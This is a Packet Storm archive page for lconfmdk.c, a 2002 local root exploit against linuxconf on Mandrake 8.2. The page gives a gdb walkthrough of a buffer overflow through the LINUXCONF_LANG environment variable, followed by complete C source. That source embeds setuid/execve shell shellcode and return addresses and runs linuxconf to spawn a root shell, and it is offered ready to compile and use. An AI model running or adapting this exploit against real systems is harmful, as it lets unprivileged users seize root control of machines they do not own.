exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

lconfmdk.c

lconfmdk.c
Posted Sep 17, 2002
Authored by Priest

Linuxconf local root exploit for Mandrake 8.2.

tags | exploit, local, root
systems | linux, mandrake
SHA-256 | bbdecd617d05c630f7b5a45d0f9bbe2c7853751345d776a2859834b022570a38

lconfmdk.c

Change Mirror Download
This is an easy to use linuxconf exploit for
Mandrake 8.2 compile it, start it and get root :-)

by priest

#if 0

Mandrake 8.2 linuxconf local root (easy to use)
exploit by --priest--
I know, it is a very very ugly
exploit, but it works very good
on Mandrake 8.2.

Usage: gcc lconfmdk.c -o x ; ./x

Little exploit description:

Test SEGV with:
[hack@tux src]$ export LINUXCONF_LANG=`perl -e "print 'A'x10000"`
[hack@tux src]$ linuxconf
Speicherzugriffsfehler // Sefault in german :-)
[hack@tux linuxconf]$ gdb linuxconf
GNU gdb 5.1.1
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-mandrake-linux"...(no debugging symbols found)...
(gdb) run
Starting program: /bin/linuxconf
(no debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)...
(no debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)...
(no debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)...
(no debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)...
(no debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)...
Program received signal SIGSEGV, Segmentation fault.
0x401e6bd0 in strcmp () from /lib/libc.so.6

(gdb) info register $esi
esi 0x41414141 1094795585

esi is our buffer. esi must be a pointer to a string.

We need a string for the strcmp function. 0x811dc53 is a nice string.

(gdb) x/s 0x811dc53
0x811dc53 <subsys_userpriv+7321>: "linuxconf"

After this it is possible to overwrite the eip and i can jump to the shellcode into my stack.
Before that, we must creat the directory linuxconf.eng and the file linuxconf.eng into this
directory. I use G for the NOP instruction instead of 0x90 its an alternative way. See
alphanumeric shellcode in phrack magazine. I never see the code of linuxconfig. Why read
the source if we have gdb, assembler and a SEGV ;-)

My english is very bad. I am from Austria

#endif
#include <stdlib.h>
#include <stdio.h>

// This buffer is the only thing you need
char buf[] = "GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG\x29\xc0\xb0\x17\x31\xdb\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80GGGGGGGGGGGGGGGGGGGGGGGGGGLINUXCONF EXPLOIT BY PRIESTGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGI LIKE IT TO WRITE THIS SHIT INTO THE BUFFERGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGTHERE IS ENOUGH SPACE FOR THIS STUFFGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG\x53\xdc\x11\x01\x53\xdc\x11\x08\x53\xdc\x11\x08\x53\xdc\x11\x02\x53\xdc\x11\x03\x53\xdc\x11\x04\x50\xe0\xff\xbf\x53\xdc\x11\x08\x53\xdc\x11\x08\x53\xdc\x11\x08\x53\xdc\x11\x08\x53\xdc\x11\x08\x53\xdc\x11\x08\x53\xdc\x11\x08\x53\xdc\x11\x08\x53\xdc\x11\x08\x53\xdc\x11\x08\x53\xdc\x11\x08\x53\xdc\x11\x08\x53\xdc\x11\x08\x53\xdc\x11\x08\x53\xdc\x11\x08\x53\xdc\x11\x08\x53\xdc\x11\x08\x53\xdc\x11\x08\x53\xdc\x11\x08\x53\xdc\x11\x08\x53\xdc\x11\x08\x53\xdc\x11\x08\x53\xdc\x11\x08\x53\xdc\x11uGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG\0";

main()
{
// Very bad, but easy to make style
setenv("LINUXCONF_LANG", buf, 1);
system("mkdir /tmp/linuxconf.eng");
system("touch /tmp/linuxconf.eng/linuxconf.eng");
system("/bin/sh -c linuxconf");
system("rm /tmp/linuxconf.eng/linuxconf.eng");
system("rmdir /tmp/linuxconf.eng");
}

Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    54 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    17 Files
  • 14
    May 14th
    11 Files
  • 15
    May 15th
    17 Files
  • 16
    May 16th
    13 Files
  • 17
    May 17th
    22 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    17 Files
  • 21
    May 21st
    18 Files
  • 22
    May 22nd
    7 Files
  • 23
    May 23rd
    111 Files
  • 24
    May 24th
    27 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close